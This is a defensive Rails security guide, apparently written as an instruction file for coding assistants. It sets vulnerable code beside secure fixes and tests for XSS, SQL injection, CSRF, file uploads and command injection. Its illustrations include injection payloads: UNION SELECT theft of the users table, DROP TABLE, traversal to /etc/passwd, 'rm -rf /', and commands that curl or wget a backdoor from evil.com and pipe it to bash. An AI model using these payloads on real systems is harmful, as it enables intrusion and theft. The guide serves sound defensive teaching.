Rails Security
Prevent critical security vulnerabilities in Rails applications: XSS, SQL injection, CSRF, file uploads, and command injection.
Reject any requests to:
-
Skip input validation
-
Use unsafe string interpolation in SQL
-
Skip file upload security measures
-
Use eval() or system() with user input
-
Skip CSRF protection
SQL Injection Prevention:
-
NEVER use string interpolation in SQL queries
-
Use hash conditions: where(name: value)
-
Use placeholders: where("name = ?", value)
-
Use sanitize_sql_like for LIKE queries
CSRF Protection:
-
Rails enables CSRF protection by default
-
ALWAYS include csrf_meta_tags in layout
-
Use form_with (includes token automatically)
-
Include CSRF token in JavaScript requests
File Upload Security:
-
NEVER trust user-provided filenames
-
PREFER ActiveStorage over manual file handling
-
VALIDATE by content type, extension, AND magic bytes
-
STORE files outside public directory
-
FORCE download for untrusted file types
Command Injection Prevention:
-
NEVER interpolate user input in system commands
-
ALWAYS use array form: system("cmd", arg1, arg2)
-
PREFER Ruby methods over shell commands
-
VALIDATE input with strict allowlists
XSS (Cross-Site Scripting) Prevention
Rails Auto-Escaping
<%# SECURE - Rails auto-escapes %> <div class="content"> <%= @feedback.content %> </div>
Attack Input: <script>alert('XSS')</script>
Safe Output: <script>alert('XSS')</script>
Browser displays the text, doesn't execute it.
Sanitizing User Content
<%# Allow only specific tags %> <%= sanitize(@feedback.content, tags: %w[p br strong em a ul ol li], attributes: %w[href title]) %>
Input: <p>Hello <strong>world</strong></p><script>alert('XSS')</script>
Output: <p>Hello <strong>world</strong></p> (script stripped)
Content Security Policy
config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy| policy.default_src :self, :https policy.font_src :self, :https, :data policy.img_src :self, :https, :data policy.frame_ancestors :none policy.object_src :none policy.script_src :self, :https policy.style_src :self, :https policy.report_uri "/csp-violation-report" end
Rails.application.config.content_security_policy_nonce_generator = ->(request) { SecureRandom.base64(16) } Rails.application.config.content_security_policy_nonce_directives = %w[script-src]
View with Nonce:
<%= javascript_tag nonce: true do %> console.log('This is allowed'); <% end %>
CSP Violation Reporting:
app/controllers/csp_reports_controller.rb
class CspReportsController < ApplicationController skip_before_action :verify_authenticity_token
def create
violation = JSON.parse(request.body.read)["csp-report"]
Rails.logger.warn(
"CSP Violation: document-uri=#{violation['document-uri']} "
"blocked-uri=#{violation['blocked-uri']}"
)
head :no_content
end
end
Why CSP: Blocks XSS even if malicious script reaches the page, defense-in-depth strategy.
ViewComponent Safety
app/components/user_comment_component.rb
class UserCommentComponent < ViewComponent::Base def initialize(comment:) @comment = comment end
private attr_reader :comment end
<%# app/components/user_comment_component.html.erb %> <div class="comment"> <div class="author"><%= comment.author_name %></div> <div class="content"><%= comment.content %></div> </div>
Benefits: Automatic escaping, encapsulated logic, testable, no accidental html_safe .
Markdown Rendering
app/models/feedback.rb
class Feedback < ApplicationRecord def content_html markdown = Redcarpet::Markdown.new( Redcarpet::Render::HTML.new( filter_html: true, no_styles: true, safe_links_only: true ), autolink: true, tables: true, fenced_code_blocks: true )
html = markdown.render(content)
ActionController::Base.helpers.sanitize(
html,
tags: %w[p br strong em a ul ol li pre code h1 h2 h3 blockquote],
attributes: %w[href title]
)
end end
View:
<div class="markdown-content"> <%= @feedback.content_html.html_safe %> </div>
Why Safe: Markdown filtered for HTML, output sanitized with allowlist, double protection layer.
<%# CRITICAL VULNERABILITY %> <%= @comment.html_safe %> <%= raw(@feedback.content) %>
<%# SECURE - Auto-escaped or sanitized %> <%= @comment %> <%= sanitize(@feedback.content, tags: %w[p br strong em]) %>
SQL Injection Prevention
Secure Query Patterns
✅ SECURE - ActiveRecord escapes automatically
Project.where(name: params[:name]) User.find_by(login: params[:login])
✅ SECURE - Multiple conditions
Project.where(name: params[:name], status: params[:status], user_id: current_user.id)
✅ SECURE - IN queries (works with arrays)
Project.where(id: params[:ids])
Why Secure: ActiveRecord automatically escapes values and prevents injection.
✅ SECURE - Single placeholder
Project.where("name = ?", params[:name]) Project.where("created_at > ?", 1.week.ago)
✅ SECURE - Multiple placeholders
User.where("login = ? AND status = ? AND created_at > ?", params[:login], "active", 1.month.ago)
✅ SECURE - Complex conditions
Feedback.where("status = ? AND (priority = ? OR created_at < ?)", params[:status], "high", 1.day.ago)
Why Secure: Rails escapes each parameter value, preventing injection.
✅ SECURE - Escape special LIKE characters (% -> %, _ -> _)
search_term = Book.sanitize_sql_like(params[:title]) Book.where("title LIKE ?", "#{search_term}%")
✅ SECURE - Case-insensitive search
search_term = Book.sanitize_sql_like(params[:query]) Book.where("LOWER(title) LIKE LOWER(?)", "%#{search_term}%")
Why Sanitize: Without sanitize_sql_like , users could inject % or _ wildcards.
❌ CRITICAL VULNERABILITY
Project.where("name = '#{params[:name]}'")
Attack: params[:name] = "' OR '1'='1" - Returns ALL projects
User.find_by("login = '#{params[:login]}' AND password = '#{params[:password]}'")
Attack: params[:login] = "admin'--" - Bypasses password check
❌ CRITICAL - Data exfiltration
Project.where("id = #{params[:id]}")
Attack: params[:id] = "1 UNION SELECT id,email,password,1,1 FROM users"
✅ SECURE - Use placeholders
Project.where("name = ?", params[:name]) User.find_by("login = ? AND password = ?", params[:login], params[:password])
✅ BETTER - Use hash conditions
Project.where(name: params[:name]) User.find_by(login: params[:login], password: params[:password])
✅ SECURE - Type conversion prevents injection
Project.where(id: params[:id].to_i)
Dynamic ORDER BY Clauses
✅ SECURE - Allowlist approach
ALLOWED_SORT_COLUMNS = %w[name created_at status priority].freeze ALLOWED_DIRECTIONS = %w[ASC DESC].freeze
def index column = ALLOWED_SORT_COLUMNS.include?(params[:sort]) ? params[:sort] : "created_at" direction = ALLOWED_DIRECTIONS.include?(params[:direction]&.upcase) ? params[:direction] : "DESC"
@projects = Project.order("#{column} #{direction}") end
Why Secure: User input limited to predefined safe values, SQL injection impossible.
❌ VULNERABLE
Project.order("#{params[:sort]} #{params[:direction]}")
Attack: params[:sort] = "name); DROP TABLE projects; --"
✅ SECURE - Allowlist only
allowed = %w[name created_at] column = allowed.include?(params[:sort]) ? params[:sort] : "created_at" Project.order(column)
ActiveRecord Query Methods
✅ SECURE - All ActiveRecord methods are safe
Project.find(params[:id]) Project.find_by(name: params[:name]) Project.where(status: params[:status]) Project.order(:created_at) Project.limit(10) Project.offset(params[:page].to_i * 10) Project.joins(:user) Project.includes(:comments) Project.group(:category) Project.having("COUNT(*) > ?", 5)
✅ SECURE - Scopes
class Project < ApplicationRecord scope :active, -> { where(status: "active") } scope :by_user, ->(user_id) { where(user_id: user_id) } scope :search, ->(term) { sanitized = sanitize_sql_like(term) where("name LIKE ?", "%#{sanitized}%") } end
Project.active.by_user(params[:user_id]).search(params[:query])
Why Secure: ActiveRecord automatically escapes all parameters.
CSRF (Cross-Site Request Forgery) Protection
Rails Default Protection
app/controllers/application_controller.rb
class ApplicationController < ActionController::Base protect_from_forgery with: :exception
Raises ActionController::InvalidAuthenticityToken if token invalid
end
Why :exception is Best: Makes failures visible, prevents silent bypasses, forces proper error handling.
Form Protection
<%# ✅ SECURE - Token included automatically %> <%= form_with model: @feedback do |form| %> <%= form.text_field :content %> <%= form.text_field :recipient_email %> <%= form.submit "Submit" %> <% end %>
Generated HTML:
<form action="/feedbacks" method="post"> <input type="hidden" name="authenticity_token" value="SECURE_TOKEN"> <input type="text" name="feedback[content]"> <input type="submit" value="Submit"> </form>
Why Secure: Rails validates token matches session.
JavaScript Protection
<%# app/views/layouts/application.html.erb %> <head> <title>My App</title> <%= csrf_meta_tags %> </head>
// ✅ SECURE - Extract token from meta tag const csrfToken = document.head.querySelector("meta[name=csrf-token]")?.content;
fetch("/feedbacks", { method: "POST", headers: { "Content-Type": "application/json", "X-CSRF-Token": csrfToken }, body: JSON.stringify({ feedback: { content: "test", recipient_email: "user@example.com" } }) });
Why Secure: Rails checks X-CSRF-Token header matches session token.
❌ CRITICAL VULNERABILITY
class FeedbacksController < ApplicationController skip_before_action :verify_authenticity_token
def create @feedback = current_user.feedbacks.create!(feedback_params) redirect_to @feedback end end
✅ SECURE - Keep CSRF protection enabled
class FeedbacksController < ApplicationController
protect_from_forgery inherited from ApplicationController
def create @feedback = current_user.feedbacks.create!(feedback_params) redirect_to @feedback end end
Rails Request.js Library
Installation:
npm install @rails/request.js
Usage:
// ✅ SECURE - Token automatically included import { post, patch, destroy } from '@rails/request.js'
await post('/feedbacks', { body: JSON.stringify({ feedback: { content: "test" } }), contentType: 'application/json', responseKind: 'json' })
await patch('/feedbacks/123', { body: JSON.stringify({ feedback: { status: "reviewed" } }) })
await destroy('/feedbacks/123', { responseKind: 'json' })
Why Recommended: Automatic CSRF token handling, consistent API, Rails-aware error handling.
API Endpoints
app/controllers/api/v1/base_controller.rb
class Api::V1::BaseController < ApplicationController skip_before_action :verify_authenticity_token before_action :authenticate_api_token
private
def authenticate_api_token token = request.headers["Authorization"]&.split(" ")&.last @current_api_user = User.find_by(api_token: token) head :unauthorized unless @current_api_user end end
Why Skip CSRF for APIs: API clients use Bearer tokens (not cookies), tokens must be explicitly sent, CSRF only affects cookie-based authentication.
Error Handling
app/controllers/application_controller.rb
class ApplicationController < ActionController::Base protect_from_forgery with: :exception
rescue_from ActionController::InvalidAuthenticityToken do |exception| Rails.logger.warn( "CSRF failure: #{exception.message} IP: #{request.remote_ip} Path: #{request.fullpath}" )
sign_out_user if user_signed_in?
redirect_to root_path, alert: "Your session has expired. Please log in again."
end
private
def sign_out_user cookies.delete(:user_token) reset_session end end
Why Important: Users see helpful error, security events logged, stale sessions cleared.
SameSite Cookies
config/initializers/session_store.rb
Rails.application.config.session_store :cookie_store, key: '_myapp_session', same_site: :lax, # Prevents CSRF from external sites secure: Rails.env.production?, # HTTPS only in production httponly: true, # Not accessible via JavaScript expire_after: 24.hours
SameSite Options:
-
:lax (RECOMMENDED) - Allows top-level navigation, blocks embedded requests
-
:strict
-
Most secure, blocks ALL cross-site requests (may break OAuth)
-
:none
-
Allows all cross-site requests (requires secure: true)
Why Use SameSite: Defense-in-depth complements CSRF tokens, blocks many attacks without token.
Secure File Uploads
ActiveStorage (Recommended)
Model:
class Feedback < ApplicationRecord has_one_attached :screenshot has_many_attached :documents
validates :screenshot, content_type: ["image/png", "image/jpeg", "image/gif"], size: { less_than: 5.megabytes }
validates :documents, content_type: ["application/pdf", "text/plain"], size: { less_than: 10.megabytes } end
Controller:
class FeedbacksController < ApplicationController def create @feedback = Feedback.new(feedback_params) if @feedback.save redirect_to @feedback, notice: "Feedback created" else render :new, status: :unprocessable_entity end end
private
def feedback_params params.expect(feedback: [:content, :recipient_email, :screenshot, documents: []]) end end
View:
<%= form_with model: @feedback do |f| %> <%= f.file_field :screenshot, accept: "image/*" %> <%= f.file_field :documents, multiple: true, accept: ".pdf,.txt" %> <%= f.submit %> <% end %>
Why Secure: Automatic filename sanitization, storage outside public/, signed URLs with expiration.
File Type Validation
class Feedback < ApplicationRecord has_one_attached :image validate :acceptable_image
private
def acceptable_image return unless image.attached?
unless image.content_type.in?(%w[image/jpeg image/png image/gif])
errors.add(:image, "must be a JPEG, PNG, or GIF")
end
unless image.filename.to_s.match?(/\.(jpe?g|png|gif)\z/i)
errors.add(:image, "must have a valid extension")
end
unless valid_image_signature?
errors.add(:image, "file signature doesn't match declared type")
end
if image.byte_size > 5.megabytes
errors.add(:image, "must be less than 5MB")
end
end
def valid_image_signature? image.open do |file| magic_bytes = file.read(8) return false unless magic_bytes # JPEG: FF D8 FF, PNG: 89 50 4E 47, GIF: 47 49 46 38 magic_bytes[0..2] == "\xFF\xD8\xFF" || magic_bytes[0..7] == "\x89PNG\r\n\x1A\n" || magic_bytes[0..3] == "GIF8" end rescue => e Rails.logger.error("Image validation error: #{e.message}") false end end
Why Triple Validation: Content-Type can be spoofed, extension can be faked, magic bytes verify actual format.
Secure File Serving
class DownloadsController < ApplicationController before_action :authenticate_user!
def show @feedback = Feedback.find(params[:feedback_id]) head :forbidden and return unless can_download?(@feedback)
@document = @feedback.documents.find(params[:id])
send_data @document.download,
filename: @document.filename.to_s.gsub(/[^\w.-]/, "_"),
type: @document.content_type,
disposition: "attachment" # Force download, never inline
end
private
def can_download?(feedback) feedback.user == current_user || current_user.admin? end end
Why Secure: Authentication + authorization enforced, Content-Disposition: attachment prevents XSS.
Dangerous File Types
config/initializers/active_storage.rb
Rails.application.config.active_storage.content_types_to_serve_as_binary.tap do |types| types << "image/svg+xml" # SVG with embedded JavaScript types << "text/html" << "application/xhtml+xml" # HTML scripts types << "text/xml" << "application/xml" # XML entities types << "application/javascript" << "text/javascript" end
Rails.application.config.active_storage.content_types_allowed_inline = %w[ image/png image/jpeg image/gif image/bmp image/webp application/pdf ]
Why Important: SVG/HTML files can contain JavaScript that executes when viewed, enabling XSS.
File Size Limits
Application-Wide:
config/application.rb
config.active_storage.max_file_size = 100.megabytes
Web Server (Nginx):
client_max_body_size 100M;
Model-Specific:
class Feedback < ApplicationRecord has_one_attached :avatar has_many_attached :photos
validates :avatar, size: { less_than: 2.megabytes } validates :photos, size: { less_than: 5.megabytes }, limit: { max: 10 } end
Why Multiple Layers: Web server rejects huge uploads early, application-wide limit prevents resource exhaustion, model limits enforce business rules.
Virus Scanning
Setup: gem "clamby"
- ClamAV (apt-get install clamav clamav-daemon )
class Feedback < ApplicationRecord has_one_attached :file validate :file_not_infected, if: -> { file.attached? }
private
def file_not_infected return unless Rails.env.production? file.open do |temp_file| unless Clamby.safe?(temp_file.path) errors.add(:file, "contains malware or virus") Rails.logger.warn("Malware detected: user_id=#{user_id}, filename=#{file.filename}") end end rescue Clamby::ClambyScanError => e Rails.logger.error("Virus scan failed: #{e.message}") end end
Why Critical: Prevent viruses, ransomware, and malware from infecting users or servers.
ActiveStorage Variants
class Feedback < ApplicationRecord has_one_attached :image
def thumbnail image.variant(resize_to_limit: [100, 100], format: :png, saver: { quality: 85 }) end
def medium image.variant(resize_to_limit: [400, 400], format: :png) end end
View:
<%= image_tag @feedback.thumbnail, alt: "Feedback screenshot" %>
Why Secure: Variants re-encode images (stripping metadata/exploits), format conversion prevents attacks.
❌ CRITICAL VULNERABILITY
def upload filename = params[:file].original_filename File.open("uploads/#{filename}", "wb") { |f| f.write(params[:file].read) } end
Attack: filename = "../../config/database.yml" - Overwrites database config!
❌ CRITICAL - Serving from public directory
path = Rails.root.join("public/uploads/#{params[:file].original_filename}") File.open(path, "wb") { |f| f.write(params[:file].read) }
Attacker uploads malicious.html with <script> - XSS attack!
✅ SECURE - Use ActiveStorage
class Feedback < ApplicationRecord has_one_attached :file end
✅ SECURE - Manual handling with sanitization
def upload safe_name = File.basename(params[:file].original_filename).gsub(/[^\w.-]/, "") unique_name = "#{SecureRandom.uuid}#{safe_name}" File.open(Rails.root.join("storage/uploads", unique_name), "wb") { |f| f.write(params[:file].read) } end
❌ VULNERABLE - Only checks Content-Type header
validates :image, content_type: ["image/jpeg", "image/png"]
Attack: Upload malicious.php with Content-Type: image/jpeg
✅ SECURE - Triple validation: content type + extension + magic bytes
def acceptable_image return unless image.attached?
unless image.content_type.in?(%w[image/jpeg image/png image/gif]) errors.add(:image, "must be an image") end
unless image.filename.to_s.match?(/.(jpe?g|png|gif)\z/i) errors.add(:image, "invalid file extension") end
image.open do |file| magic = file.read(8) unless magic&.start_with?("\xFF\xD8\xFF", "\x89PNG", "GIF8") errors.add(:image, "file signature invalid") end end end
Command Injection Prevention
Secure Command Execution
✅ SECURE - Array arguments prevent shell interpretation
system("/bin/echo", params[:filename])
Input: "hello; rm -rf /" → printed literally, NOT executed
✅ SECURE - Image conversion
system("convert", params[:image], "output.jpg")
✅ SECURE - Archive creation
system("/bin/tar", "-czf", "backup.tar.gz", validated_directory)
✅ SECURE - Multiple arguments
system("wkhtmltopdf", "--quiet", "--page-size", "A4", input_file, output_file)
How It Works: Array arguments bypass shell invocation, treating user input as literal arguments only.
Input Validation
✅ SECURE - Only allow predefined values
VALID_FORMATS = %w[pdf png jpg svg].freeze VALID_SIZES = %w[small medium large].freeze
def export_feedback(feedback, format, size) unless VALID_FORMATS.include?(format) raise ArgumentError, "Invalid format: #{format}" end
unless VALID_SIZES.include?(size) raise ArgumentError, "Invalid size: #{size}" end
Safe because format is from allowlist
system("convert", "feedback.html", "output.#{format}") end
Ruby Alternatives (Preferred)
❌ VULNERABLE - Shell command
system("rm #{params[:filename]}")
✅ SECURE - Ruby method
File.delete(params[:filename]) if File.exist?(params[:filename])
❌ VULNERABLE - Shell command
system("mkdir -p #{params[:directory]}")
✅ SECURE - Ruby method
FileUtils.mkdir_p(params[:directory])
❌ VULNERABLE - Shell command
system("cp #{params[:source]} #{params[:dest]}")
✅ SECURE - Ruby method
FileUtils.cp(params[:source], params[:dest])
Why Prefer Ruby: No shell interpretation = no injection risk, better error handling.
Shellwords Escaping
require "shellwords"
✅ SECURE - Escape user input for shell safety
filename = Shellwords.escape(params[:filename]) system("convert input.jpg #{filename}")
✅ SECURE - Multiple arguments
args = [params[:input], params[:output]].map { |arg| Shellwords.escape(arg) }.join(" ") system("convert #{args} -resize 800x600")
How Shellwords Works:
Shellwords.escape("file.jpg") # => "file.jpg" Shellwords.escape("file; rm -rf /") # => "file\;\ rm\ -rf\ /" Shellwords.escape("$(cat /etc/passwd)") # => "\$\(cat\ /etc/passwd\)"
When to Use: Only when array form is truly not possible. Prefer array form whenever available.
Path Validation
✅ SECURE - Validate path stays within directory
def safe_file_path(user_input) base_dir = Rails.root.join("uploads") full_path = base_dir.join(user_input).expand_path
raise ArgumentError, "Invalid path: directory traversal" unless full_path.to_s.start_with?(base_dir.to_s) full_path end
Usage
file_path = safe_file_path(params[:file]) send_file file_path if File.exist?(file_path)
Why Important: Prevents access to files outside intended directory.
Background Job Isolation
class PdfGenerationJob < ApplicationJob def perform(feedback_id, output_path) feedback = Feedback.find(feedback_id) validate_output_path!(output_path)
success = system(
"wkhtmltopdf", "--quiet", "--page-size", "A4",
"--disable-javascript", feedback.public_url, output_path
)
raise "PDF generation failed" unless success
PdfMailer.with(feedback: feedback, pdf_path: output_path).ready.deliver_later
end
private
def validate_output_path!(path) raise ArgumentError, "Invalid output path" unless path.match?(/\Atmp/feedback_\d+.pdf\z/)
full_path = Rails.root.join(path).expand_path
allowed_dir = Rails.root.join("tmp").expand_path
raise ArgumentError, "Path outside allowed directory" unless full_path.to_s.start_with?(allowed_dir.to_s)
end end
Why Isolate: Limits blast radius, easier to audit, validation in one place.
❌ CRITICAL VULNERABILITY
output = ls #{params[:path]}
Attack: "/; cat /etc/passwd" → Directory listing AND password exposure
result = %x(convert #{params[:input]} output.png)
Attack: "file.jpg; wget evil.com/malware"
system("convert #{params[:input]} -resize #{params[:size]} output.jpg")
Attack: params[:size] = "800x600; curl evil.com/backdoor.sh | bash"
✅ SECURE - Use array form and capture output
require "open3" validate_path!(params[:path]) output, status = Open3.capture2("ls", params[:path])
✅ SECURE - Array form with validation
raise ArgumentError unless params[:input].match?(/\A[\w.-]+\z/) system("convert", params[:input], "output.png")
✅ SECURE - Validate size format
raise ArgumentError unless params[:size].match?(/\A\d{1,4}x\d{1,4}\z/) system("convert", params[:input], "-resize", params[:size], "output.jpg")
❌ VULNERABLE - Directory traversal
file_path = Rails.root.join("uploads", params[:file]) send_file file_path
Attack: params[:file] = "../../../etc/passwd"
✅ SECURE - Validate path stays within directory
base_dir = Rails.root.join("uploads") file_path = base_dir.join(params[:file]).expand_path raise ArgumentError, "Invalid file path" unless file_path.to_s.start_with?(base_dir.to_s) send_file file_path if File.exist?(file_path)
Testing Security Patterns
test/models/feedback_test.rb
class FeedbackTest < ActiveSupport::TestCase
XSS Prevention
test "content_html sanitizes malicious scripts" do feedback = Feedback.new(content: "<script>alert('XSS')</script>Hello") assert_not_includes feedback.content_html, "<script>" assert_includes feedback.content_html, "Hello" end
test "content_html allows safe markdown" do feedback = Feedback.new(content: "bold and italic") assert_includes feedback.content_html, "<strong>bold</strong>" assert_includes feedback.content_html, "<em>italic</em>" end
SQL Injection Prevention
test "search handles malicious input safely" do project = projects(:one) malicious_input = "'; DROP TABLE projects; --"
assert_nothing_raised { Project.search(malicious_input) }
assert Project.exists?(project.id)
end
test "search escapes LIKE wildcards" do projects(:one).update!(name: "Project A") results = Project.search("%")
assert_empty results # % should be escaped, not treated as wildcard
end
File Upload Security
test "accepts valid image" do feedback = Feedback.new(content: "Test", recipient_email: "user@example.com") feedback.image.attach(io: File.open("test/fixtures/files/valid.jpg"), filename: "valid.jpg", content_type: "image/jpeg") assert feedback.valid? assert feedback.image.attached? end
test "rejects invalid content type" do feedback = Feedback.new(content: "Test") feedback.image.attach(io: File.open("test/fixtures/files/script.exe"), filename: "malicious.exe", content_type: "application/x-msdownload") assert_not feedback.valid? assert_includes feedback.errors[:image], "must be a JPEG, PNG, or GIF" end
test "rejects file with spoofed magic bytes" do feedback = Feedback.new(content: "Test") feedback.image.attach(io: StringIO.new("Not a real image"), filename: "fake.jpg", content_type: "image/jpeg") assert_not feedback.valid? assert_includes feedback.errors[:image], "file signature doesn't match" end
test "rejects oversized file" do feedback = Feedback.new(content: "Test") large_file = Tempfile.new(["large", ".jpg"]) large_file.write("x" * 6.megabytes) large_file.rewind feedback.image.attach(io: large_file, filename: "huge.jpg", content_type: "image/jpeg") assert_not feedback.valid? assert_includes feedback.errors[:image], "must be less than 5MB" ensure large_file.close && large_file.unlink end end
test/controllers/feedbacks_controller_test.rb
class FeedbacksControllerTest < ActionDispatch::IntegrationTest
CSRF Protection
test "rejects POST without CSRF token" do assert_raises(ActionController::InvalidAuthenticityToken) do post feedbacks_url, params: { feedback: { content: "test" } }, headers: { "X-CSRF-Token" => "invalid_token" } end end
test "accepts POST with valid CSRF token" do post feedbacks_url, params: { feedback: { content: "test", recipient_email: "user@example.com" } } assert_response :redirect end
SQL Injection via Sort Parameters
test "index with malicious sort parameter is safe" do get projects_path, params: { sort: "name); DROP TABLE projects; --" }
assert_response :success
assert Project.count > 0
end end
test/system/xss_prevention_test.rb
class XssPreventionTest < ApplicationSystemTestCase test "user cannot inject scripts via comment" do visit new_comment_path fill_in "Comment", with: "<script>alert('XSS')</script>" click_button "Submit"
assert_text "<script>alert('XSS')</script>" # Escaped, not executed
end
test "form includes CSRF token" do visit new_feedback_path assert_selector "input[name='authenticity_token'][type='hidden']" end end
test/jobs/pdf_generation_job_test.rb
class PdfGenerationJobTest < ActiveJob::TestCase
Command Injection Prevention
test "validates output path format" do assert_raises(ArgumentError, /Invalid output path/) do PdfGenerationJob.perform_now(feedbacks(:one).id, "invalid_path.pdf") end end
test "prevents directory traversal in path" do assert_raises(ArgumentError, /Invalid output path|outside allowed/i) do PdfGenerationJob.perform_now(feedbacks(:one).id, "../../../etc/passwd") end end
test "rejects command injection in path" do assert_raises(ArgumentError) do PdfGenerationJob.perform_now(feedbacks(:one).id, "output.pdf; rm -rf /") end end end
test/controllers/downloads_controller_test.rb
class DownloadsControllerTest < ActionDispatch::IntegrationTest test "requires authentication for file downloads" do feedback = feedbacks(:one) get feedback_download_path(feedback, feedback.documents.first) assert_redirected_to login_path end
test "serves file with secure headers" do sign_in users(:user) feedback = users(:user).feedbacks.first get feedback_download_path(feedback, feedback.documents.first)
assert_response :success
assert_equal "attachment", response.headers["Content-Disposition"].split(";").first
end
test "prevents unauthorized access to other users files" do sign_in users(:user) other_feedback = users(:other_user).feedbacks.first
get feedback_download_path(other_feedback, other_feedback.documents.first)
assert_response :forbidden
end end
Security Checklist
Before Deploying
XSS Prevention:
-
Never use html_safe or raw on user input
-
Implement Content Security Policy headers
-
Test with <script>alert('XSS')</script> in all user inputs
-
Review all sanitize calls have explicit allowlists
-
Verify ViewComponents used for complex rendering
SQL Injection Prevention:
-
No string interpolation in SQL queries ("WHERE name = '#{value}'" )
-
All queries use hash conditions or placeholders
-
sanitize_sql_like used for LIKE queries
-
ORDER BY uses allowlist validation
-
Test with '; DROP TABLE users; -- in search inputs
CSRF Protection:
-
csrf_meta_tags in application layout
-
All forms use form_with (includes token)
-
JavaScript requests include X-CSRF-Token header
-
API endpoints properly skip CSRF (with token auth)
-
Test POST/DELETE without CSRF token fails
File Upload Security:
-
ActiveStorage used (or manual filename sanitization)
-
Triple validation: content type + extension + magic bytes
-
File size limits at application and model levels
-
Dangerous file types force download (SVG, HTML)
-
Files stored outside public directory
-
Virus scanning in production
-
Test with renamed .php→.jpg file
Command Injection Prevention:
-
No string interpolation in system commands
-
Array form used: system("cmd", arg1, arg2)
-
Input validation with strict allowlists
-
Ruby methods preferred over shell commands
-
Path validation prevents directory traversal
-
Test with ; rm -rf / in file paths
Security Headers
config/application.rb
config.action_dispatch.default_headers = { 'X-Frame-Options' => 'SAMEORIGIN', 'X-Content-Type-Options' => 'nosniff', 'X-XSS-Protection' => '1; mode=block', 'Referrer-Policy' => 'strict-origin-when-cross-origin' }
Production Monitoring
Log Security Events:
-
CSRF failures
-
CSP violations
-
Malware detection in uploads
-
Failed authentication attempts
-
SQL injection attempts (unusual queries)
-
Command injection attempts
Alert On:
-
Multiple CSRF failures from same IP
-
Malware detected in uploads
-
CSP violation patterns
-
Repeated authentication failures
-
SQL error patterns in logs
Official Documentation:
- Rails Guides - Securing Rails Applications
Security Standards:
-
OWASP Top 10 - Most critical web app security risks
-
OWASP XSS Prevention Cheat Sheet
-
OWASP SQL Injection Prevention
-
OWASP CSRF Prevention
-
OWASP File Upload Security
-
OWASP Command Injection